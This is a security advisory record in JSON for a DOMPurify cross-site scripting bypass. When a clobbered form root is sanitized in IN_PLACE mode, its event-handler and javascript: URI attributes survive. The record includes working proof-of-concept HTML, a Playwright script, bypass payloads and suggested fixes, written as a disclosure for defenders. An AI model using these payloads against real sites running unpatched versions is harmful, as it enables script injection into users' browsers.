CVE-2026-49459: DOMPurify Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r47g-fvhr-h676",
  "modified" : "2026-06-15T19:53:05Z",
  "published" : "2026-06-15T19:53:05Z",
  "aliases" : [ "CVE-2026-49459" ],
  "summary" : "DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM",
  "details" : "# IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM\n\n**CWE**: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when `_forceRemove` is called on a parent-less node)\n\n## Summary\n\nWhen `DOMPurify.sanitize(root, { IN_PLACE: true })` is called and `root` is a `<form>` whose own attributes carry an event handler (`onmouseover`, `onfocus`, `onclick`, etc.), a single descendant element with a `name=` attribute matching any of the property names `_isClobbered` checks (`nodeName`, `setAttribute`, `namespaceURI`, `insertBefore`, `hasChildNodes`, `childNodes`) is sufficient to bypass attribute sanitization on the root. `_forceRemove` silently no-ops because the root has no parent; the iterator drives on to `_sanitizeAttributes`, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.\n\nThis affects current `main` at `89da34e` (the just-landed DOM-clobbering hardening fix at `89da34e` addressed `_sanitizeAttachedShadowRoots` walk traversal, **not** the main `_sanitizeElements` / `_sanitizeAttributes` pipeline against the iterator-root node).\n\n## Affected\n\n- DOMPurify ≤ 3.4.5, including `main` at `89da34e03ec17868e561f87f3747a9371b61a9e7`\n- Any caller that does `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` is built from untrusted HTML (e.g., parsed via `createElement('template').innerHTML = dirty` then `template.content.firstElementChild` handed in)\n\nNot affected:\n- String-input `DOMPurify.sanitize(dirtyString)` — the library builds the DOM itself inside `_initDocument`, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow `body` named properties (HTMLBodyElement does not carry `[LegacyOverrideBuiltIns]`)\n- IN_PLACE where the root is not an HTMLFormElement\n- IN_PLACE where the attacker cannot place a clobber-named child inside the root\n\n## Vulnerability details\n\n### Code paths\n\n**[A]** — `_forceRemove` at `src/purify.ts:930-939`:\n\n```ts\nconst _forceRemove = function (node: Node): void {\n  arrayPush(DOMPurify.removed, { element: node });\n  try {\n    // eslint-disable-next-line unicorn/prefer-dom-node-remove\n    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null\n  } catch (_) {\n    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op\n  }                                           //      when the node has no parent\n};\n```\n\nWhen the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), `getParentNode(node)` returns `null`, `null.removeChild(node)` throws, the catch falls to `remove(node)` — which per WebIDL is `Element.prototype.remove.call(node)`, and per spec **does nothing if the node has no parent**. Nothing about `_forceRemove`'s contract acknowledges this — the function appears to its callers as \"the node is gone now,\" but the node is still in place.\n\n**[B]** — `_sanitizeAttributes` at `src/purify.ts:1490-1492`:\n\n```ts\nconst _sanitizeAttributes = function (currentNode: Element): void {\n  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);\n\n  const { attributes } = currentNode;\n\n  /* Check if we have attributes; if not we might have a text node */\n  if (!attributes || _isClobbered(currentNode)) {\n    return;                                   // [B] silently skips ALL attribute checks\n  }                                           //     for clobbered nodes\n  ...\n};\n```\n\nThe skip at `[B]` is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is *\"if `_isClobbered`, then `_sanitizeElements` already removed this node, so we will never reach `_sanitizeAttributes` on it.\"* That invariant holds for every non-root node (their `_forceRemove` succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.\n\n**The mismatch** is between [A] and [B]: [A] assumes \"removal\" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make `_forceRemove` fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have `_sanitizeAttributes` strip attributes from clobbered roots before returning.\n\n### Iterator call site\n\n`src/purify.ts:1850-1864` ignores the boolean return value of `_sanitizeElements`:\n\n```ts\nconst nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);\n\nwhile ((currentNode = nodeIterator.nextNode())) {\n  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED\n  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip\n  ...\n}\n```\n\nIf the return value were checked and `_sanitizeAttributes` skipped when the node was \"killed,\" the bug would not exist as a discrete issue — but currently `_sanitizeAttributes` is the only line of defense for a node that `_sanitizeElements` could not actually detach.\n\n### Why the clobber works\n\nIn Chromium/WebKit/Firefox, `HTMLFormElement` carries the WebIDL `[LegacyOverrideBuiltIns]` extended attribute on its named-property getter. A descendant element with `name=\"X\"` (or `id=\"X\"`, for radio-button-like names) shadows the matching property on the form, including properties inherited from `Element`, `Node`, and `EventTarget` prototypes. This is the same primitive the just-landed `89da34e` fix addresses for shadow-root traversal, but `_isClobbered`'s typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.\n\nVerified clobber targets (each name= value independently triggers `_isClobbered`):\n\n| `name=` value | property `_isClobbered` checks | typeof on clobbered form |\n|---|---|---|\n| `nodeName` | `typeof element.nodeName !== 'string'` | object (an `<INPUT>`) |\n| `setAttribute` | `typeof element.setAttribute !== 'function'` | object (not callable) — *but* `<embed>`/`<applet>`/`<iframe>` ARE callable; see \"Note on callable elements\" below |\n| `namespaceURI` | `typeof element.namespaceURI !== 'string'` | object |\n| `insertBefore` | `typeof element.insertBefore !== 'function'` | object |\n| `hasChildNodes` | `typeof element.hasChildNodes !== 'function'` | object |\n| `childNodes` | `!(element.childNodes && typeof element.childNodes.length === 'number')` | object — `<INPUT>` has no `.length` |\n| `attributes` | `!(element.attributes instanceof NamedNodeMap)` | object (an `<INPUT>` is not a NamedNodeMap) |\n| `textContent` | `typeof element.textContent !== 'string'` | object |\n| `removeChild` | `typeof element.removeChild !== 'function'` | object (non-callable) |\n| `removeAttribute` | `typeof element.removeAttribute !== 'function'` | object (non-callable) |\n\nAny single one of the ten property names in `_isClobbered`'s checklist is sufficient as the bypass trigger.\n\n## Proof of concept\n\n### (1) Minimal — runnable in a single browser context\n\n```html\n<!doctype html>\n<html><body>\n<script src=\"dist/purify.js\"></script>\n<script>\n  const root = document.createElement('form');\n  root.setAttribute('onmouseover', 'window.__rooted = 1');\n  const clobber = document.createElement('input');\n  clobber.setAttribute('name', 'nodeName');\n  root.appendChild(clobber);\n\n  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.\n  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.\n  DOMPurify.sanitize(root, { IN_PLACE: true });\n\n  console.log('output:', root.outerHTML);\n  // <form onmouseover=\"window.__rooted = 1\"><input name=\"nodeName\"></form>\n  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^\n\n  document.body.appendChild(root);\n  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n  console.log('handler fired:', window.__rooted === 1);  // true\n</script>\n</body></html>\n```\n\n### (2) End-to-end — Playwright against `main` HEAD\n\n```js\nconst { chromium } = require('playwright');\nconst path = require('path');\n\n(async () => {\n  const browser = await chromium.launch();\n  const page = await browser.newPage();\n  await page.setContent('<!doctype html><html><body></body></html>');\n  await page.addScriptTag({ path: path.resolve('dist/purify.js') });\n\n  const result = await page.evaluate(() => {\n    const root = document.createElement('form');\n    root.setAttribute('onmouseover', 'window.__rooted = 1');\n    const clobber = document.createElement('input');\n    clobber.setAttribute('name', 'nodeName');\n    root.appendChild(clobber);\n\n    DOMPurify.sanitize(root, { IN_PLACE: true });\n\n    document.body.appendChild(root);\n    window.__rooted = 0;\n    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));\n\n    return {\n      version: DOMPurify.version,\n      output: root.outerHTML,\n      handlerFired: window.__rooted === 1,\n    };\n  });\n  console.log(result);\n  await browser.close();\n})();\n```\n\nObserved (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD `89da34e`):\n\n```\n{\n  version: '3.4.5',\n  output: '<form onmouseover=\"window.__rooted = 1\"><input name=\"nodeName\"></form>',\n  handlerFired: true\n}\n```\n\n### (3) Variant matrix — six distinct clobber-target properties\n\nEvery property name in `_isClobbered`'s typeof checklist works as the bypass trigger:\n\n```\n[BYPASS] name=\"nodeName\"      → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"setAttribute\"  → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"namespaceURI\"  → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"insertBefore\"  → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"hasChildNodes\" → <form onmouseover=\"…\"><input></form>\n[BYPASS] name=\"childNodes\"    → <form onmouseover=\"…\"><input></form>\n```\n\nThis makes the fix less of a one-line patch — every property `_isClobbered` checks for the typeof-spoofing pattern needs to be considered.\n\n## Impact\n\n### Direct\n\nTwo distinct impact paths from the same root-attribute-survival primitive:\n\n**(a) XSS via event-handler attribute on the surviving root.** Any consumer that uses `DOMPurify.sanitize(node, { IN_PLACE: true })` where `node` originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:\n\n```js\nconst t = document.createElement('template');\nt.innerHTML = untrustedHtml;\nDOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });\ncontainer.appendChild(t.content.firstElementChild);\n```\n\nIf `untrustedHtml` is `<form onmouseover=…><input name=nodeName>…</form>`, the resulting node has the `onmouseover` attribute intact when re-inserted into the live document.\n\n**(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers.** The `_sanitizeAttributes` early-return at `:1490` skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:\n\n- **`action=\"javascript:...\"` and `formaction=\"javascript:...\"`** — URI validation at `:1413` never runs. A user click on a submit button inside the sanitized form navigates to the `javascript:` URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.\n- **`id=\"<colliding-name>\"`** — the DOM-clobbering guard at `:1352-1359` (`SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)`) lives inside `_sanitizeAttributes` and is skipped. An attacker can therefore land `id=\"cookie\"`, `id=\"body\"`, `id=\"head\"`, `id=\"firstChild\"`, etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does `document.cookie`, `document.body`, etc.\n- **`target=\"_top\"`**, **`autofocus`**, **`formenctype`**, **`formmethod`** — all survive untouched.\n- **Custom event handlers DOMPurify wouldn't have explicit list entries for** (e.g., newly-spec'd `oncontentvisibilityautostatechange`) survive on the clobbered root via the same skip; the per-name allow-list at `:1361-1364` never runs.\n\nVerified — full attribute set survives on a single payload (PoC):\n\n```js\nconst root = document.createElement('form');\nroot.setAttribute('action', 'javascript:alert(1)');\nroot.setAttribute('target', '_top');\nroot.setAttribute('onclick', 'alert(2)');\nroot.setAttribute('onmouseover', 'alert(3)');\nroot.setAttribute('autofocus', '');\nroot.setAttribute('formaction', 'javascript:alert(4)');\nroot.setAttribute('id', 'cookie');           // DOM-clobbering primitive\nroot.innerHTML += '<input name=\"nodeName\">';\nDOMPurify.sanitize(root, { IN_PLACE: true });\nconsole.log(root.outerHTML);\n// <form action=\"javascript:alert(1)\" target=\"_top\" onclick=\"alert(2)\"\n//       onmouseover=\"alert(3)\" autofocus=\"\" formaction=\"javascript:alert(4)\"\n//       id=\"cookie\"><input></form>\n```\n\n**(c) Defense-in-depth re-sanitization on the same node is INEFFECTIVE — the clobber is sticky.** Chromium's `HTMLFormElement` named-property cache appears to retain the named child reference even after the child's `name` attribute is removed during the sanitization pass. Empirically verified — after the first sanitize pass, the input's `name=\"nodeName\"` attribute is correctly stripped (the output shows `<input>` with no attributes), yet `typeof form.nodeName === 'object'` is still true and the input element is still returned. Calling `DOMPurify.sanitize(sameNode, { IN_PLACE: true })` a second time hits the same `_isClobbered` → `_forceRemove` → `_sanitizeAttributes` early-return path. The only effective recovery is serialize-then-reparse:\n\n```js\nconst root = parseAttackerHtml();                                     // form with input name=\"nodeName\" child\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // bypass: attrs survive\nDOMPurify.sanitize(root, { IN_PLACE: true });                         // STILL bypassed: attrs survive\nconst recovered = (() => {\n  const t = document.createElement('template');\n  t.innerHTML = root.outerHTML;                                       // forces a fresh parse\n  const r = t.content.firstElementChild;\n  DOMPurify.sanitize(r, { IN_PLACE: true });\n  return r;\n})();\n// recovered.outerHTML === '<form><input></form>'  ← finally clean\n```\n\nA \"belt-and-suspenders\" caller that re-runs DOMPurify on its own output is therefore not protected against this primitive on Chromium; the obvious mitigation pattern fails silently. Any user-side workaround needs to route through a string round-trip.\n\n**(d) SAFE_FOR_TEMPLATES bypass for the root's attributes.** When the caller sets `SAFE_FOR_TEMPLATES: true` to defend a downstream template engine (Vue, Angular, Liquid, Handlebars, …) from receiving `{{…}}` / `<%…%>` / `${…}` syntax through DOMPurify's output, attribute-level template-syntax stripping runs in the same `_sanitizeAttributes` pass that early-returns on clobbered roots (`:1572-1576`). The root's attributes therefore retain raw template syntax that the downstream engine then evaluates.\n\nVerified — same PoC structure, with `SAFE_FOR_TEMPLATES: true`:\n\n```js\nconst root = document.createElement('form');\nroot.setAttribute('title', '{{evil}}');\nroot.setAttribute('onmouseover', 'window.__x=1');\nconst c = document.createElement('input');\nc.setAttribute('name', 'nodeName');\nroot.appendChild(c);\n\nDOMPurify.sanitize(root, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\nconsole.log(root.outerHTML);\n// <form title=\"{{evil}}\" onmouseover=\"window.__x=1\"><input></form>\n//        ^^^^^^^^^^^^^^^^ template syntax survives\n```\n\nThis compounds with (a): a single payload exfiltrates via XSS (immediate) and via SSTI to downstream renderers (delayed).\n\n(Text-node content inside the form is still scrubbed correctly — `_scrubTemplateExpressions` at `:1868-1870` walks text/comment/CDATA/PI nodes independently and reaches them via the iterator. Only attribute values on the clobbered root escape.)\n\n### Indirect / second-order\n\n- **DOM-based template systems / editors** that wrap DOMPurify with an IN_PLACE call for parsed user content (CMSes, comment widgets, WYSIWYG editors persisting structured HTML).\n- **Email/HTML preview libraries** that pre-parse received HTML before sanitization for performance reasons.\n- **Frameworks that hand DOMPurify a node tree** rather than a string — including, indirectly, any code path that does `el.innerHTML = …; DOMPurify.sanitize(el, { IN_PLACE: true })`. The outer `el` is fine (it's not the form), but if the *first child* of `el` is taken as the sanitization root in a different code path, the bypass triggers.\n\n### Why current `main` is also vulnerable\n\nCommit `89da34e` (\"fix: fixed a possible DOM clobbering with IN_PLACE and shadow DOM\") hardens `_sanitizeAttachedShadowRoots` via three new cached prototype getters (`getShadowRoot`, `getNodeName`, `getNodeType`) and an `_isClobbered` extension that checks `element.childNodes.length`. The fix is correct for its scope — shadow-root traversal — but does not change `_forceRemove`'s parent-less-node behavior or `_sanitizeAttributes`'s clobber-skip early-return. The bypass demonstrated here is in the IN_PLACE main pipeline, not the shadow-root walk, and the verification PoC above runs against HEAD `89da34e` and still succeeds.\n\n## Suggested fix\n\nTwo minimal-risk options:\n\n1. **Make `_forceRemove` honest about failure**: return whether the node was actually detached, and have the iterator call site honor that.\n\n   ```ts\n   const _forceRemove = function (node: Node): boolean {\n     arrayPush(DOMPurify.removed, { element: node });\n     try {\n       getParentNode(node).removeChild(node);\n       return true;\n     } catch (_) {\n       try { remove(node); } catch (_) {}\n       return node.parentNode === null && /* but still attached to itself */ false;\n     }\n   };\n   ```\n   Then at `:1855`, if `_sanitizeElements` returns true AND IN_PLACE, force-strip all attributes of the root before returning the dirty tree. (This is what the user expects — sanitization either succeeds or refuses to return a \"sanitized\" handle to an unsanitized tree.)\n\n2. **Strip attributes inside `_sanitizeAttributes` for clobbered roots**: when `_isClobbered(currentNode)` is true at `:1490`, instead of early-returning, iterate `currentNode.attributes` (using the cached `getAttributes` if you add one) and remove each via `removeAttribute`. This preserves the existing semantics for non-root clobbered nodes (their attributes-of-a-removed-node will be GC'd anyway) and removes the attack surface for root.\n\n3. **Refuse IN_PLACE on parent-less clobbered roots**: at the top of the iterator, check that the root either has a parent OR is not `_isClobbered`. If both fail, throw. This is the most defensive option but breaks any existing caller that hands in a clobbered detached root expecting \"sanitized = empty/safe.\"\n\n### Note on callable elements\n\nIn Chromium and WebKit, `HTMLEmbedElement`, `HTMLAppletElement`, `HTMLIFrameElement`, and `HTMLScriptElement` have `typeof === 'function'` because they expose plugin/iframe `[[Call]]` traps at the WebIDL level. A `name=\"setAttribute\"` *child* of one of these tags spoofs the `setAttribute typeof === 'function'` check — but only matters for the *attribute re-set* path at `:1619`, not the bypass demonstrated here (which uses `nodeName` and friends). The callable-element vector is worth checking separately as a potential `SAFE_FOR_TEMPLATES`-bypass primitive; the present report does not depend on it.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "dompurify"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.4.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.4.5"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/cure53/DOMPurify/security/advisories/GHSA-r47g-fvhr-h676"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/cure53/DOMPurify"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321", "CWE-693", "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-15T19:53:05Z",
    "nvd_published_at" : null
  }
}